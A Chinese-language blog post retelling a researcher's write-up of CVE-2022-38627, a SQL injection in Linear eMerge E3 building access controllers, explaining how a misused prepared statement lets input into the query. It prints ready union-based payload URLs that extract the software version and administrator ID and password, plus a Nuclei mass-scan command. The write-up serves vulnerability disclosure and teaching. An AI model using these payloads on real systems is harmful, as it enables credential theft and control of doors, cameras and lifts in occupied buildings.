白帽故事 · 2023年2月7日 0

CVE-2022-38627:通过SQLite注入破坏整个企业大楼之旅

背景介绍:

在本文中,国外白帽将展示如何找到关键 0day 漏洞,使其可以控制整栋企业大楼(门、摄像头、电梯等……)除此之外,白帽还可以收集员工数据并添加新的访问企业大楼的员工,所有这一切看似电影中的黑客片段,但实际却发生在真实的场景下。

Linear eMerge E3系列产品概要:

Linear eMerge E3 系列是楼宇管理系统中行业领先的产品之一,主要用于:

  • 学区和校园(K12 和高等教育)
  • 企业园区
  • 州/地方政府大楼(市政中心、市政厅、警察局、监狱等)
  • 公共设施
  • 交通(机场、地铁、巴士站)
  • 礼拜场所(教堂、大型教堂)
  • 医疗设施(医院、制药公司、生物实验室等)
  • 等等

静态分析:

首先看一下端点 /badging/badge_template_print.php 的代码。

正如所看到的,开发人员通过“idt”参数获取用户输入,然后使用 prepare 语句将其传递给查询,这通常可以防止 SQL 注入。

但是“敲倒麻袋”!这里的 prepare statement 有一个明显错误的实现,要知道出了什么问题,我们需要首先了解什么是prepare statement 工作流。

Prepared Statement 如何工作?

Prepared Statement 处理工作流程经过 7 个阶段:

通过以上流程将查询传递给数据库

$sth = $db->prepare(“SELECT * FROM “.dbtable.” where No = ?”);

因为问号“被称为参数占位符。因此,在预处理语句下发生的事情是,查询将经过7个阶段:

1- 解析阶段:解析语法错误和拼写错误检查以确保 SQL 查询的有效性

2- 语义检查阶段:数据库管理系统 (DBMS) 确定查询的有效性,指定的列和表是否存在?用户是否有权执行此查询?

3- 绑定阶段:数据库引擎检测占位符,并使用占位符编译查询,稍后将添加用户提供的数据(像下面的占位符替换阶段)。

$sth->bindValue(1, $id, PDO::PARAM_INT);

4- 查询优化阶段:DBMS 选择执行查询的最佳算法

5-缓存阶段:最佳算法保存在缓存中,所以下次执行相同的查询时会跳过前四个阶段,直接跳转到Placeholder替换阶段

6- 占位符替换阶段:在该阶段,占位符被替换成用户的数据。然而,查询已经被预先编译了(Binding),所以最终的查询不会再经过编译阶段。由于这个原因,用户提供的数据将始终被解释为一个简单的字符串,不能修改原始查询的逻辑。这使得查询将不受该数据的SQL注入漏洞的影响。

7- 执行阶段:

$sth->execute();

查询成功执行,这些是 Prepared Statements 防止 SQL 注入的阶段。

那么让我们重新看看究竟发生了什么。

开发人员将来自用户的 $id 参数放入准备好的语句中,而不是像上面描述的那样绑定值,所以如果用户输入参数是下面这样:

?id=1 UNION SELECT * FROM User

那么 $sth 变量值将是这样的:

$db->prepare(“SELECT * FROM User where No=1 UNION SELECT * FROM User”)

因此prepared statement 的语句会将我们的输入作为查询的一部分(不将其视为绑定值),而用户的输入将从第一阶段开始通过所有阶段,这意味着用户的输入将被视为查询的一部分,因为SQL编译器将把它作为查询的一部分来编译,不会被认为是一个绑定值,因为它从第一阶段就被传入查询,而不是在第六阶段(占位符替换),这也就导致了SQL注入的成功。

$xml 变量是通过使用参数“tpl”加载 XML 文件

第一个“if 语句”强制我们加载一个包含以下内容的 XML 文件<picture>无论如何,开发人员为此创建了这个 XML 文件“aa.xml”,所以我们需要做的只是将文件名放在“tpl”参数中?tpl=aa.xml

我们需要将第二个“if 语句”设置为 false 来执行 else,它将在页面中打印“ImageFile”列以提取数据库内容。

所以在我们的开发中,我们需要连接 ImageFile 列上的输出,因为这才可能提取数据库中的数据。

利用:

通过源代码分析,我们知道ImageFile列是“USER”表中39列中的第12列,因此我们不需要在利用黑盒SQL注入时利用它

我们可以使用基于联合查询(union-based )的Payload来利用它,因此我们需要连接第 12 列的输出并使用 NULL 值定义其它 38 列:

/badging/badge_template_print.php?tpl=aa.xml&idt=1337 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,’ SWVersion:’||SWVersion,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from version

输出将是版本表中的软件版本,所以将第 12 列的输出连接起来,使输出看起来像下面这样:

SWVersion:<software version will be printed here>

提取管理员凭据:

/badging/badge_template_print.php?tpl=aa.xml&idt=1337 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,’ Admin-ID-is:’||id||’%20Admin-Password-is:’||password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from controller

获得管理员凭据后,便可以使用它们从 Web 仪表板登录然后控制整个企业大楼了。

自动化:

为了检测漏洞,国外白帽子制作了模板以方便扫描漏洞或企业资产

模版地址:

https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627

配合 Nuclei 使用:

$ nuclei -t CVE-2022–38627.yaml -l subdomains.txt

感谢阅读,希望你能有所收获~